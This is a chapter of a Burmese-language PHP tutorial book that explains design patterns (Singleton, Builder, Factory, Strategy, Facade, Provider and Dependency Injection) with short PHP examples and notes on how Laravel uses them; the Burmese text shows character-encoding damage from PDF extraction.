Design  Patterns    ပေတကွပေတာ့  ကုဒ်ပေရးဟန်ပေတွပါ  ။  မတူကြကပါဘူး။  လက်ပေတွ့ပပေရာဂျက်ပေတွမှာ  တစ်
ပေယာက်တစ်မျ ို း တီထွင်ပေရးသားကြကတဲ့ ကုဒ်ပေတွထဲက တူညီတဲ့ ပေရးဟန်ပေတွကို အမည်တပ်ပေပးလုိက်တာ
ပါ။  ဒီလုိ  အမည်တပ်ပေပးလိုက်တဲ့အတွက်  တစ်ပေယာက်နဲ့တစ်ပေယာက်  ဆက်ဆံအလုပ်လုပ်ရတာ  ပုိထိ
ပေရာက်သွားပေစKို့  ဖြKစ်ပါတယ်။  Factory Pattern  လ့ုိ  တစ်ပေယာက်က ပေဖြပာလုိက်ရင်  ဘာကိုဆိုလုိတာလဲ
ပေနာက်တစ်ပေယာက်က သိပေစK့ုိဖြKစ်ပါတယ်။  Singleton  လ့ုိတစ်ပေယာက်က ပေဖြပာလုိက်ယံုနဲ့  ဘာကိုဆိုလုိ
တာလဲ တစ်ဖြ]ားသူပေတွက သိပေစKို့ဖြKစ်ပါတယ်။ 

ဒါပေတွကလည်း  လက်ပေတွ့ပပေရာဂျက်အပေတွ့အကြကုံ  အနည်းအကျဉ်းရှိမှ  ပုိပြပီးပေတာ့  နားလည်လွယ်မယ့်
အပေကြကာင်းအရာပေတွပါ။ လက်ပေတွ့ အပေတွ့အကြကုံမရှိဘဲ ပေလ့လာတဲ့အ]ါ နားလည်ရ ]က်သင့်တာထက် ပုိ
]က်ပေနမှာ အပေသအ]ျာပါပဲ။ ဒါပေပမယ့် သိသင့်တဲ့  Design Patterns တစ်]ျ ို ့ကို အတက်နိုင်ဆုံး နားလည်
လွယ်ပေအာင် ပေရးွထုတ်ထည့်သွင်း ပေKာ်ဖြပပေပးပါမယ်။ အကယ်၍ Kတ်ကြကည့်လုိ့ သိပ်နားလည်ရ ]က်ပေနမယ်
ဆိုရင် ဒီအ]န်းကို  ပေကျာ်Kတ်လုိက်ပါ။ ပေကျာ်လုိက်လ့ုိရပါတယ်။ အ]န်းစဉ်အရ  OOP  အ]န်းနဲ့တွဲသင့်လုိ့
တွဲထားပေပမယ့်  အရင်ကြကည့်သင့်တဲ့  တစ်ဖြ]ားအပေဖြ]]ံပေတွ  ပေနာက်ပုိင်းမှာ  ကျန်ပါပေသးတယ်။  အ့ဲဒီအပေဖြ]]ံ
ပေတွ စုံပြပီဆိုပေတာ့မှ ဖြပန်လာKတ်ရင်လည်း ရပါတယ်။

Object-Oriented  Design  Patterns  နဲ့ပက်သက်ရင်  အထင်ရှားဆုံးကပေတာ့  Erich  Gamma,  John
Vlissides,  Richard  Helm  နဲ့  Ralph  Johnson  ဆိုသူ  ပညာရှင်  (၄)  ဦးတို့  ပူးပေပါင်း  ပေရးသားထားတဲ့
Design Patterns: Elements of Reusable Object-Oriented Software ဆိုတဲ့စာအုပ်မှာ ပေKာ်ဖြပပါရှိတဲ့
Patterns  ပေတွပါပဲ။ စာပေရးသူ  (၄)  ဦးကို  အစွဲဖြပုပြပီး  GoF Design Patterns  လ့ုိ အတိုပေကာက် ပေ]ါ်ကြကပါ
တယ်။ GoF ဆိုတာ Gang of Four ဆိုတဲ့ အဓိပ္ပါယ်ပါ။ GoF Design Patterns ပေတွမှာ စုစုပေပါင်း Patterns
(၂၃) ]ုပါဝင်ပါတယ်။ အ]ု ဒီစာအုပ်မှာပေတာ့ အ့ဲဒီ  Patterns ပေတွထဲက တစ်]ျ ို ့အပါအဝင် အဓိကအားဖြKင့်
ပေရွး]ျယ် မှတ်သားသင့်တဲ့ Pattern (၈) မျ ို းကို ပေရွးထုတ်ပေKာ်ဖြပသွားမှာပါ။ 
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ဒီစာပေရးသားပေန]ျနိ်မှာ  လူသုံးအများဆုံးဖြKစ်ပေနတဲ့  PHP  Framework  ကပေတာ့  Laravel  ဖြKစ်ပါတယ်။
Laravel က အ]ုဆက်လက်ပေKာ်ဖြပမယ့် Pattern (၈) မျ ို းကို အသံုး]ျ ထားပါတယ်။ ဒါပေကြကာင့် ဒီ Pattern
ပေတွကို သိရှိထားဖြ]င်းအားဖြKင့် Laravel ကို ပေလ့လာရတဲ့အ]ါ အပေထာက်အကူဖြKစ်ပေစမှာပဲ ဖြKစ်ပါတယ်။

Singleton
ပထမဆုံးပေKာ်ဖြပ]ျင်တဲ့  Pattern ကပေတာ့ Singleton Pattern ဖြKစ်ပါတယ်။ ပံုမှန်အားဖြKင့် Class တစ်]ုကို
အသုံးဖြပုပြပီး Object ပေတွ လုိသပေလာက် တည်ပေဆာက်နိုင်ပါတယ်။ ဒါပေပမယ့် ရံKန်ရံ]ါ Object   တစ်]ုထဲပဲ  
တည်ပေဆာက်]ွင့်ဖြပု]ျင်တယ်၊  တစ်]ုထက်ပုိပြပီး  တည်ပေဆာက်]ွင့်မဖြပု]ျင်ဘူး ဆိုတဲ့လုိအပ်]ျက်မျ ို း  ရှိလာ
တတ်ပါတယ်။ ဥပမာ  Setting Object  ဆိုပါစို့။  Object  နှစ်]ုသုံး]ု  ရိှပေနရင်  Object  တစ်]ုက သတ်မှတ်
လုိက်တဲ့  Setting  တန်Kုိးကို  တစ်ဖြ]ား  Object  ကပေဖြပာင်းလုိက်မိလ့ုိ  အဆင်မပေဖြပတာမျ ို းပေတွ  ဖြKစ်နိုင်ပါ
တယ်။  ဒီလိုမဖြKစ်ပေစ]ျင်ရင်ပေတာ့  Singleton  Pattern  ကိုသံုးဖြပု  Object  တစ်]ုထက်ပုိပေဆာက်လ့ုိ  မ
ရပေအာင် ကန့်သတ်လိုက်နိုင်ပါတယ်။ ဒီလုိပေရးရပါတယ်။

 PHP 

<?php

class Setting
{
    static $setting = null;

    public $dark = 0;
    
    protected function __construct()
    {
        //
    }

    static function create()
    {
        if(!static::$setting) {
            static::$setting = new static;
        }
        
        return static::$setting;
    }
}
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$setting1 = Setting::create();
$setting1->dark = 1;

$setting2 = Setting::create();
echo $setting2->dark;    // 1

နမူနာအရ Setting Class ရဲ့ Constructor ဟာ Protected ဖြKစ်ပေနတဲ့အတွက် new Statement နဲ့ Object
တည်ပေဆာက်]ွင့်ကို မပေပးပေတာ့ပါဘူး။ Object တည်ပေဆာက်လုိရင် create() Static Method ကို သံုး
ရပေတာ့မှာပါ။ create() Method က $setting Property ထဲမှာ သိမ်းထားတဲ့ Setting Object ရှိမရှိ
စစ်ပြပီး မရှရိင် new static နဲ့  Object တည်ပေဆာက်ပြပီး ထည့်သိမ်းပေပးလုိက်ပါတယ်။ Object ရိှပေနပြပီး
ဖြKစ်ရင်ပေတာ့ ရိှတဲ့ Object ကိုပဲ ဖြပန်ပေပးလိုက်မှာပါ။ အသစ်မပေဆာက်ပေတာ့ပါဘူး။

ဒါပေကြကာင့် Setting::create() နဲ့ ပထမအကြကိမ် Object တည်ပေဆာက်စဉ်မှာ Object အသစ်ကိုရပါ
တယ်။ ဒါပေပမယ့် ပေနာက်တစ်ကြကိမ်  Setting::create() နဲ့  Object  တည်ပေဆာက်တဲ့အ]ါ  Object
အသစ်ကို  မရပါဘူး၊  နဂိုရှိပေနပြပီး  ဖြKစ်တဲ့  Object  ကို  ဖြပန်ရမှာပဲ  ဖြKစ်ပါတယ်။  ဒါပေကြကာင့်  နမူနာမှာ
$setting2->dark တန်Kုိးက  မူလသတ်မှတ်ထားတဲ့  0  မဟုတ်ဘဲ  $setting က  သတ်မှတ်
ပေပးလုိက်တဲ့ 1 ဖြKစ်ပေနတာပါ။ $setting1 နဲ့ $setting2 နှစ်]ုဖြKစ်ပေနပေပမယ့် Object က တစ်]ုထဲ မ့ုိ
လ့ုိပါ။

လက်ပေတွ့ပေရးသားတဲ့ကုဒ်က  တစ်ပေယာက်နဲ့တစ်ပေယာက်  တူ]ျင်မှ  တူပါလိမ့်မယ်။  ဒါပေပမယ့်  လုိရင်း
အ]ျုပ်ဖြKစ်တဲ့ Object တစ်]ုထဲကိုသာ တည်ပေဆာက်]ွင့်ပေပးတဲ့ ဒီလုိသပေဘာသဘာဝမျ ို းကို Singleton  လ့ုိ
ပေ]ါ်တယ်ဆိုတာကို မှတ်သားရမှာပဲ ဖြKစ်ပါတယ်။ 

Builder Pattern
ပံုမှန်အားဖြKင့်  Object  တစ်]ုတည်ပေဆာက်လုိတဲ့အ]ါ  သတ်မှတ်လုိတဲ့  Property  ပေတွကို  Constructor
Argument  အပေနနဲ့  ပေပးကြကရပေလ့ရှိပါတယ်။  Builder  Pattern  ကိုအသံုးဖြပုရင်ပေတာ့  ပထမဆုံး  Builder
Object  တစ်]ု  တည်ပေဆာက်ရပါတယ်။ အ့ဲဒီ  Builder Object  မှာ သိမ်း]ျင်တဲ့  တန်Kုိးပေတွ သိမ်းထားပြပီး
ပေနာက်ဆုံးမှ အ့ဲဒီတန်Kုိးပေတွနဲ့ လုိ]ျင်တဲ့ Object ကို တည်ပေဆာက်ယူတာပါ။ ဒီလိုပါ –



PHP – လိမေု - တိမေု - ရှင်း – အ]န်း (၈) – Essential Design Patterns 120

$builder = new Builder();
$builder->property1 = value1;
$builder->property2 = value2;

$object = $builder->build();

နမူနာအရ $builder Object   မှာ သတ်မှတ်လုိတဲ့   Property   ပေတွ တစ်]ုပြပီးတစ်]ု သတ်မှတ်ပါတယ်။ စုံ  
ပြပီဆိုပေတာ့မှ    build()   Method   နဲ့ အမှန်တစ်ကယ် လုိ]ျင်တဲ့    Object   ကို တည်ပေဆာက်ယူလုိက်တာပါ  ။
ဒီနည်းကလည်း  အသံုးဝင်ပါတယ်။  ဥပမာ  Profile  Object  တစ်]တုည်ပေဆာက်K့ုိအတွက်  User  ဆီက
အမည်  ပေမးမယ်၊  ရပြပီဆိုရင်  Profile  Builder  မှာထည့်ထားလုိက်မယ်။  Kုန်းနံပါတ်  ပေမးမယ်၊  ရပြပီဆိုရင်
Profile Builder  မှာ ထည့်ထားလုိက်မယ်။ ပြပီးပေတာ့မှ  Profile Object  ကို  တည်ပေဆာက်လုိက်မယ်ဆိုရင်
User ဆီက အကုန်လံုး တစ်]ါထဲ မရလည်း ကိစ္စမရှိပေတာ့ပါဘူး။ ရတဲ့တန်Kုိးပေတွ တစ်]ု]ျင်းသတ်မှတ်သွား
လုိက်လ့ုိ ရသွားမှာ ဖြKစ်ပါတယ်။

 PHP 

<?php

class ProfileBuilder
{
    private $name;
    private $phone;

    public function setName($name)
    {
        $this->name = $name;
        return $this;
    }

    public function setPhone($phone)
    {
        $this->phone = $phone;
        return $this;
    }

    public function getName()
    {
        return $this->name;
    }
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    public function getPhone()
    {
        return $this->phone;
    }

    function build()
    {
        return new Profile($this);
    }
}

class Profile
{
    public $name;
    public $phone;

    public function __construct(ProfileBuilder $pb)
    {
        $this->name = $pb->getName();
        $this->phone = $pb->getPhone();
    }

    static function builder()
    {
        return new ProfileBuilder();
    }
}

$user = Profile::builder()
->setName("Alice")
->setPhone("321456")
->build();

var_dump($user);

// object(Profile){ ["name"]=> "Alice" ["phone"]=> "321456" }

နမူနာမှာ  ProfileBuilder ကိုအသံုးဖြပုပြပီး  name နဲ့  phone တို့ကို  setName() နဲ့
setPhone() Method  ပေတရွဲ့အကူအညီနဲ့  သတ်မှတ်နိုင်ပါတယ်။  build() လ့ုိပေဖြပာလုိက်ပေတာ့မှ
သူက Profile Object ကိုတည်ပေဆာက်ပေပးသွားမှာပါ။ ဒီပေရးဟန်ကို  Builder Pattern လ့ုိပေ]ါ်ပြပီး Laravel
မှာပေတာ့ အလားတူ ပေရးဟန်မျ ို းနဲ့ပေရးသားထားတဲ့ ကုဒ်ပေတွကို Manager လ့ုိ ပေ]ါ်တာကို ပေတွ့ ရပါတယ်။
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Factory
Factory Pattern ဟာလည်း Builder Pattern လုိပဲ Object တည်ပေဆာက်ပေပးတဲ့ Pattern တစ်မျ ို း ဖြKစ်ပါ
တယ်။ ဥပမာ - အ]ုလုိ Profile Class တစ်]ရုှိတယ်ဆိုကြကပါစို့။

 PHP 

<?php

class Profile
{
    private $name;
    private $phone;

    public function __construct($name, $phone)
    {
        $this->name = $name;
        $this->phone = $phone;
    }
}

ဘာမှရှုပ်ပေထွးတဲ့  လုပ်ပေဆာင်]ျက်ပေတွ  မပါပါဘူး။  $name နဲ့  $phone ကိုလက်]ံပြပီး  Property  ပေတွ
ပေဖြပာင်းပေပးတဲ့ Class တစ်]ုပါ။ အ့ဲဒီ Class ကို အသံုးဖြပုပြပီး Object တည်ပေဆာက်လိုပေပမယ့် Data ပေတွက
အ]ုလုိပံုစံ ရိှပေနတယ် ဆိုကြကပါစို့ –

$data = [
    [ "name" => "Alice", "phone" => "321456" ],
    [ "name" => "Bob" ],
    [ "name" => "Tom", "phone" => "654123" ],
];

ဒီ  Data  ကို  အသံုးဖြပုပြပီး  Profile Object  တည်ပေဆာက်လုိရင်  Array  ထဲက  Data  ကို  ထုတ်ယူတာပေတွ၊
လုိ]ျင်တဲ့  Data  မှန်/မမှန်  စစ်တာပေတွ  လုပ်ရပါမယ်။  အ့ဲဒါပေတွကို  Manual    လုပ်မပေနပဲ၊  အ့ဲဒီအလုပ်ပေတွ  
လုပ်ပြပီး    Profile Object    တည်ပေဆာက်ပေပးနိုင်တဲ့   ProfileFactory ကို အ]ုလုိ Kန်တီးယူလုိက်လုိ့ ရ
နိုင်ပါတယ်။
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 PHP 

<?php

class ProfileFactory
{
    private $data;

    public function __construct($data)
    {
        $this->data = $data;
    }

    public function create()
    {
        $result = [];

        foreach($this->data as $data) {
            $name = $data['name'] ?? "Unknown";
            $phone = $data['phone'] ?? "N/A";
            $result[] = new Profile($name, $phone);
        }

        return $result;
    }
}

$pf = new ProfileFactory($data);
$profiles = $pf->create();

ပေပးလုိက်တဲ့  Data ကို လက်]ံစစ်ပေဆးပြပီး Profile Object ပေတွ တည်ပေဆာက်ပေပးသွားမှာပါ။ အပေသးစိတ်
ပေရးဟန်မှာ  တစ်ပေယာက်နဲ့တစ်ပေယာက်  ကွာသွားနိုင်ပေပမယ့်  လုိရင်းအ]ျုပ်ဖြKစ်တဲ့  Data  ပေပးလုိက်ရင်
Object တည်ပေဆာက်ပေပးတဲ့ ဒီနည်းကို Factory Pattern လ့ုိပေ]ါ်တာပါ။

Strategy
Strategy Pattern  ကပေတာ့ အမျ ို းအစားတူပေပမယ့် အပေသးစိတ်လုပ်ပေဆာင်]ျက် ကွဲဖြပားတဲ့  Object  ပေတွ
ကို  အပေဖြ]အပေနပေပါ်မူတည်ပြပီး  ဖြပန်ပေပးနိုင်တဲ့  ပေရးဟန်ပါ။  ဒါနဲ့ပက်သက်ရင်  Payment  ကို  နမူနာပေပးကြက
ပေလ့ ရိှပါတယ်။ ဥပမာ - ပေငွသားနဲ့ပေပးမယ်ဆိုရင် လုပ်ရမယ့် အလုပ်ပေတွအတွက် Object တစ်]ု၊ Card နဲ့
ပေပးမယ်ဆိုရင် လုပ်ရမယ့် အလုပ်ပေတွအတွက် Object တစ်]ု၊ Mobile Money နဲ့ ပေပးမယ်ဆိုရင် လုပ်ရမယ့်
အလုပ်ပေတွကတစ်]ု၊ ]ွဲထားပြပီး  Payment ဖြပုလုပ်]ျနိ်မှာ  Payment Strategy Object  က User ပေရးွ]ျယ်
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တဲ့ Option ပေပါ်မှာတည်ပြပီး သင့်ပေတာ်တဲ့ Payment Object ကို အလုပ်လုပ်သွားပေစတဲ့ နည်းလမ်းမျ ို းပါ။ ဒီ
နည်းနဲ့  ပေနာက်ပုိင်းမှာ Paypal  တို့  Crypto  တို့  ထပ်တိုး]ျင်တယ်ဆိုရင်လည်း Payment ကို  ဖြပင်စရာမလို
ဘဲ   Strategy   မှာ ထပ်တိုးလုိက်ယံုနဲ့   ရသွားနိုင်ပေစလ့ုိ လူသံုးများတဲ့ ပေရးဟန်တစ်]ုပါပဲ။

 PHP 

<?php

interface PaymentInterface
{
    public function amount();
}

class CashPayment implements PaymentInterface
{
    public function amount()
    {
        return 100;
    }
}

class MobilePayment implements PaymentInterface
{
    public function amount()
    {
        return 90;
    }
}

ဒါဟာ  Payment Interface  ကိုအသံုးဖြပုပြပီး  Payment Method  ပေတွ  အမျ ို းမျ ို း  Implement  လုပ်ထား
လုိက်တာပါ။ အ့ဲဒီ  Payment Method ပေတွကို  User ပေပးတဲ့  Context ပေပါ်မူတည်ပြပီး ပေရွး]ျယ်အလုပ်လုပ်
တဲ့ Class တစ်]ုကို အ]ုလုိပေရးလ့ုိရသွားပါပြပီ။

 PHP 

<?php

class Payment
{
    private $paymentMethod;
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    public function pay($context)
    {
        switch($context) {
            case "cash":
                $this->paymentMethod = new CashPayment;
                break;
            case "mobile":
                $this->paymentMethod = new MobilePayment;
                break;
            default:
                $this->paymentMethod = new CashPayment;
        }

        return $this->paymentMethod->amount();
    }
}

ဒါပေကြကာင့်  User  က  Cash  နဲ့ပေပးK့ုိပေရွး]ျယ်ရင်  Cash  Payment  အလုပ်လုပ်သွားပြပီး  Mobile  နဲ့ပေပးK့ုိ
ပေရွး]ျယ်ရင် Mobile Payment အလုပ်လုပ်သွားမှာပါ။

$payment = new Payment;

echo $payment->pay("cash") . "USD";    // 100USD
echo $payment->pay("mobile") . "USD";    // 90USD

ဒီနည်းနဲ့  Payment  ]ျင်းအတူတူ  Mobile  နဲ့ပေပးရင်  10%  ပေလ�ာ့ပေပးတယ်ဆိုတဲ့  လုပ်ပေဆာင်]ျက်မျ ို းကို
Implement လုပ်လ့ုိရသွားဖြ]င်းပဲ ဖြKစ်ပါတယ်။

Facade
Facade Pattern ဆိုတာကပေတာ့ ရှုပ်ပေထွးတဲ့ လုပ်ပေဆာင်]ျက်ပေတွကို သံုးရလွယ်သွားပေအာင် ကြကား]ံထား
ပေပးတဲ့ ပေရးဟန်ဖြKစ်ပါတယ်။ ဥပမာ - ကားတစ်စီးကို စက်နှိုးK့ုိအတွက် အင်ဂျင်ဝုိင်စစ်ရမယ်၊ ဘရိတ် စစ်ရ
မယ်၊ ဆီရှိမရှိ စစ်ရမယ် စသည်ဖြKင့်လုပ်ရမယ့်အလုပ်ပေတွ အများကြကီးရှိနိုင်ပါတယ်။ အ့ဲဒါပေတွကို မှတ်ရ]က်
သလို လုပ်ရတာလည်း ]က်ပါတယ်။ ဒါပေကြကာင့် start() လ့ုိပေဖြပာလိုက်တာနဲ့ ကြကိုတင်သတ်မှတ်ထားတဲ့
လုပ်ရမယ့်  အလုပ်ပေတွကို  တန်စီပြပီးလုပ်ပေပးနိုင်မယ့်  ကြကား]ံတစ်]ု  ထားလုိက်မယ်ဆိုရင်ပေတာ့  သံုးရတာ
လွယ်သွားမှာ ဖြKစ်ပါတယ်။ ဒီလုိပါ –  
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 PHP 

<?php

class CheckOilPressure
{
    public function check()
    {
        echo "Oil Pressure OK.";
    }
}

class CheckBreakFluid
{
    public function check()
    {
        echo "Break Fluid OK.";
    }
}

class Car
{
    public $oil;

    public $break;

    public function __construct()
    {
        $this->oil = new CheckOilPressure;
        $this->break = new CheckBreakFluid;
    }

    public function start()
    {
        $this->oil->check();
        $this->break->check();

        echo "Car Engine Started.";
    }
}

$car = new Car;
$car->start();

နမူနာအရ ကားစက်နှိုးK့ုိအတွက်  ဘာပြပီးရင်ဘာလုပ်ရတယ်ဆိုတာကို  မှတ်စရာမလုိပေတာ့ဘဲ  Car Object
ပေပါ်မှာ start() လ့ုိပေဖြပာလိုက်ယံုနဲ့ အစဉ်ပေဖြပသွားပေစတဲ့သပေဘာပဲ ဖြKစ်ပါတယ်။ ထံုးစံအတိုင်း ဒီသပေဘာ



PHP – လိမေု - တိမေု - ရှင်း – အ]န်း (၈) – Essential Design Patterns 127

မျ ို းနဲ့ပေရးတဲ့ ပေရးဟန်ကို Facade Pattern လ့ုိပေ]ါ်ပေပမယ့် လက်ပေတွ့အသံုး]ျမှုကပေတာ့ တစ်ပေယာက်နဲ့တစ်
ပေယာက် ကွဲဖြပားနိုင်ပါတယ်။ Laravel မှာဆိုရင် ဒီလုိ Facade Class မျ ို းကို သံုးထားပါတယ် –

 PHP 

<?php

class Facede
{
    static function __callStatic($name, $args)
    {
        $name = strtoupper($name);
        $arg = $args[0] ?? "/";

        echo "Sending $name to $arg";
    }
}

class Route extends Facede
{
    //
}

Route::get("/comments");

// Sending GET to /comments

Route::post();

// Sending POST to /

__callStatic() Magic  Method  ရဲ့  အကူအညီနဲ့  Class  Name  ပေပါ်မှာ  လုိ]ျင်တဲ့  Method  ကို
ပေပးလုိက်ယုံနဲ့ ပေနာက်ကွယ်က လုပ်ရမယ့် ရှုပ်ပေထွးတဲ့ အလုပ်ပေတွကို လုပ်ပေပးပေအာင် စီစဉ်ထားတာပါ။ ဒါ
ပေကြကာင့် သံုးတဲ့သူအတွက် အရမ်းလွယ်သွားပါတယ်။  Framework  ထဲမှာ တစ်ကယ်ပေရးထားတဲ့  ကုဒ်ပေတွ
ကပေတာ့ ဒီထက်အများကြကီး ပုိရှုပ်ပေထွးတာပေပါ့။ ဒီနမူနာက နားလည်လွယ်ပေအာင် အလွန်အမင်း  Simplify
လုပ်ပေပးထားတဲ့  နမူနာတစ်]ုပါ။  ဒီပေရးဟန်မျ ို းကို  Laravel  မှာ  အပေဖြမာက်အများပေတွ့ရပါလိမ့်မယ်။  ဒါ
ပေကြကာင့် Simplify လုပ်ထားတယ် ဆိုပေပမယ့်၊ ဒီပေလာက်အိုင်ဒီယာပေလး ပေ]ါင်းထဲဝင်ထားတဲ့အတွက် ဆက်
ပေလ့လာရတာ ပုိအဆင်ပေဖြပသွားမှာပါ။
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Provider
Provider Pattern ကပေတာ့ GoF Patterns ပေတွထဲမှာ မပါပါဘူး။ Microsoft .NET Framework မှာ စတင်
အမည်ပေပး အသံုးဖြပု]ဲ့ပြပီး  အ]ုပေနာက်ပုိင်းမှာ  Laravel  တို့  Angular  တို့အပါအဝင် တစ်ဖြ]ား  Framework
ပေတွမှာလည်း အသုံးများလာကြကပါတယ်။ နမူနာပေလ့လာနိုင်K့ုိအတွက် အ]ုလုိ  Log Class  နှစ်]ု ရိှတယ်ဆို
ကြကပါစို့။

 PHP 

<?php

interface Log
{
    public function write();
}

class Text implements Log
{
    public function write() {
        echo "Saving to text file";
    }
}

class Memory implements Log
{
    public function write() {
        echo "Saving on memory";
    }
}

ပြပီးတဲ့အ]ါ  Service Container Class  တစ်]ုပေရးပြပီး အ့ဲဒီ  Service Container  ထဲမှာ  Log Class  ပေတွကို
သိမ်းထားလုိက်ပါမယ်။
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 PHP 

<?php

class Services
{
    public $container = [];

    public function register($name, $class)
    {
        $this->container[$name] = $class;
    }
}

$services = new Services;
$services->register("text", Text::class);
$services->register("memory", Memory::class);

တစ်ကယ်ပေတာ့ Service Container က Singleton ဖြKစ်သင့်ပါတယ်။ ဒီပေတာ့မှ သိမ်းထားတဲ့ Class ပေတွက
တစ်စုတစ်စည်းထဲ ဖြKစ်မှာပါ။ ဒါပေပမယ့် ကုဒ်တို]ျင်လ့ုိ နမူနာအပေနနဲ့ ရိုးရိုးပဲ ပေရးထားပါတယ်။ အ]ုဆိုရင်
Service နှစ်]ုပါဝင်တဲ့ Service Container Object တစ်]ု ရသွားပါပြပီ။ ပြပီးတဲ့အ]ါ Service Provider ဆက်
ပေရးပါမယ်။ သူက အပေဖြ]အပေနပေပါ်မူတည်ပြပီး Container ထဲက သင်ပေတာ်တဲ့ Object ကို ဖြပန်ပေပးမှာပါ။

 PHP 

<?php

class Provider
{
    public $services;

    public function __construct($services)
    {
        $this->services = $services->container;
    }

    public function make($service)
    {
        if(isset($this->services[$service]))
            return new $this->services[$service];
        
        // else Error: Service doesn't exist
    }
}
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Provider  ရဲ့  make() Method  က လုိ]ျင်တဲ့  Service Object  ကို  Container  ထဲကပေန နှိုက်ယူပြပီး ဖြပန်
ပေပးမှာပါ။ ဒီလုိပါ –

$provider = new Provider($services);

$log = $provider->make("text");
$log->write();      // Saving to text file

$log = $provider->make("memory");
$log->write();      // Saving on memory

Provider  Object  တည်ပေဆာက်တဲ့အ]ါ  ပေစာပေစာက  Service  ပေတွ  Register  လုပ်ထားတဲ့  Service
Container Object ကို ပေပးထားတာကို သတိဖြပုပါ။ ဒီနည်းနဲ့  လုိ]ျင်တဲ့   Service   ကို ပေဖြပာင်းသံုးလ့ုိရနိုင်တဲ့  
Provider Pattern ကိုရသွားပါတယ်။ တစ်]ျ ို ့ကလည်း ဒီ Pattern ဟာ Strategy Pattern နဲ့ ဆင်တယ်လို့
ပေဖြပာကြကပါတယ်။ သပေဘာဘသာဝ ဆင်ပေပမယ့် အသုံး]ျK့ုိသင့်ပေတာ်တဲ့ပေနရာပေတာ့ မတူကြကပါဘူး။

Dependency Injection
Dependency Injection ဆိုတာ အထက်က SOLID ရဲ့  Dependency Inversion မူကို လက်ပေတွ့အသံုး]ျ
တဲ့  ပေရးဟန်ပါ။  လုိအပ်တဲ့လုပ်ပေဆာင်]ျက်ကို  အပေသပေရးထားမယ့်အစား၊  Inject  ထည့်သွင်းပြပီး  ပေရးလ့ုိ
ရပေအာင် စီစဉ်ထားလုိက်တဲ့အ]ါ ပုိပြပီးပေတာ့ အသံုးဝင်သွားမှာပါ။ ဥပမာ –

 PHP 

<?php

class TextLogger
{
    public function write($log) {
        // Save $log to text file
        echo $log;
    }
}
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class App
{
    public function run()
    {
        $logger = new TextLogger;
        $logger->write("App is running");
    }
}

$app = new App;
$app->run(); // App is running

ဒါက ရိုးရိုးပေရးထားတဲ့ကုဒ်ပါ။  App  Class  အတွင်းမှာ  TextLogger ကို  အသံုးဖြပုထားပါတယ်။  ဒီလုိ
အပေသထည့်သွင်းပေရးသားထားတဲ့အတွက်  App  ဟာ  TextLogger တစ်မျ ို းထဲနဲ့သာ အလုပ်လုပ်ပေတာ့
မှာပါ။  တစ်ဖြ]ား  Logger  အမျ ို းအစားပေတွ  ပေဖြပာင်းလဲအသုံးဖြပု]ျင်လ့ုိ  မရနိုင်ပေတာ့ပါဘူး။  ဒါပေကြကာင့်
Dependency Injection ပေရးဟန်ကိုအသံုးဖြပုပြပီး အ]ုလုိဖြပင်လိုက်ပါမယ်။

 PHP 

<?php

interface Log
{
    public function write($log);
}

class TextLogger implements Log
{
    public function write($log) {
        // Save $log to text file
        echo $log;
    }
}

class DatabaseLogger implements Log
{
    public function write($log) {
        // Save $log to database
        echo $log;
    }
}
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class App
{
    private $logger;

    public function __construct(Log $logger)
    {
        $this->logger = $logger;
    }

    public function run()
    {
        $this->logger->write("App is running");
    }
}

$app = new App(new TextLogger);
$app->run();

ဒီတစ်]ါပေတာ့ App Class  နဲ့  Object တည်ပေဆာက်ရင် Log Interface ကလာတဲ့ Object ကို ပေပးရပေတာ့
မှာပါ။  နမူနာမှာ  Object  တည်ပေဆာက်စဉ်  TextLogger ကိုပေပးလုိက်လုိ့  အလုပ်လုပ်တဲ့အ]ါ
TextLogger နဲ့  အလုပ်လုပ်သွားမှာပါ။ အကယ်၍ အ]ုလုိ  DatabaseLogger ကိုပေပးလုိက်မယ်ဆို
ရင် DatabaseLogger နဲ့ ပေဖြပာင်းလဲအလုပ်လုပ်ပေပးသွားမှာပဲ ဖြKစ်ပါတယ်။

$app = new App(new DatabaseLogger);
$app->run();

ဒီပေရးနည်းကို  Dependency  Injection  လ့ုိပေ]ါ်တာပါ။  ပေရးနည်းက ရိုးရိုးပေလးနဲ့  ပုိပြပီးပေတာ့  ပေကာင်းမွန်
အသုံးဝင်တဲ့  ကုဒ်ကို  ရရှိသွားမှာပဲ  ဖြKစ်ပါတယ်။  Dependency  Injection  ကို  Factory  Pattern  ပေတွ
Provider Pattern ပေတွနဲ့ ပေပါင်းစပ်လုိက်တဲ့အ]ါမှာပေတာ့  Laravel  လုိ  Framework မျ ို းပေတွက ပေပးထား
တဲ့ အလွန်ကျယ်ဖြပန့်တဲ့ Service Container လုပ်ပေဆာင်]ျက်ပေတွကို ရရှိသွားနိုင်ပါတယ်။

တစ်ကယ့်ကုဒ်အစစ်ကို အကုန်စုံပေအာင် ပေဖြပာလ့ုိမရပေပမယ့် သပေဘာသဘာဝပေလးပေလာက်ပေတာ့ ထည့်ပေဖြပာ
]ျင်ပါတယ်။ ပေစာပေစာက Provider Pattern မှာ Services ပေတွ Register လုပ်]ဲ့တာကို မှတ်မိကြကဦးမှာပါ။
ဒီလိုပါ – 
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$services = new Services;
$services->register("text", Text::class);
$services->register("memory", Memory::class);

ဒီလို Register လုပ်စဉ်မှာ Service ကပေနအသံုးဖြပုပေစလုိတဲ့ Dependency ပေတွကို တစ်]ါထဲ Inject လုပ်ပြပီး
ပေပးလုိက်လ့ုိ ရနိုင်ပါတယ်။ ဒီလုိပါ –

 Pseudocode 

$services->register("app", function() {
    return new App(new DatabaseLogger)
});

app ကို Service အပေနနဲ့ Register လုပ်စဉ်ကထဲက လုိအပ်မယ့် Dependency ကို ထည့်ပေပးလိုက်တာပါ။
ဒါပေကြကာင့် – 

 Pseudocode 

$app = $provider->make("app");

လ့ုိပေဖြပာလုိက်]ျနိ်မှာ  $app Object  နဲ့အတူ  Inject  လုပ်ပြပီးသား  Dependency  ကိုပါရရှိသွားမှာပဲ  ဖြKစ်ပါ
တယ်။ ဒီနည်းကပေပးတဲ့  အားသာ]ျက်ကပေတာ့  Dependency  ပေဖြပာင်း]ျင်ရင်  Service  ကို  Register  လုပ်
]ျနိ်မှာ ပေဖြပာင်းလိုက်ယံုနဲ့ ကျန်ကုဒ်ပေတွကို ဖြပင်စရာမလိုဘဲ လုိ]ျင်တဲ့ရလဒ်ကို ရရှိသွားမှာပါ။ ဒီလုိပါ – 

 Pseudocode 

$services->register("app", function() {
    return new App(new TextLogger)
});

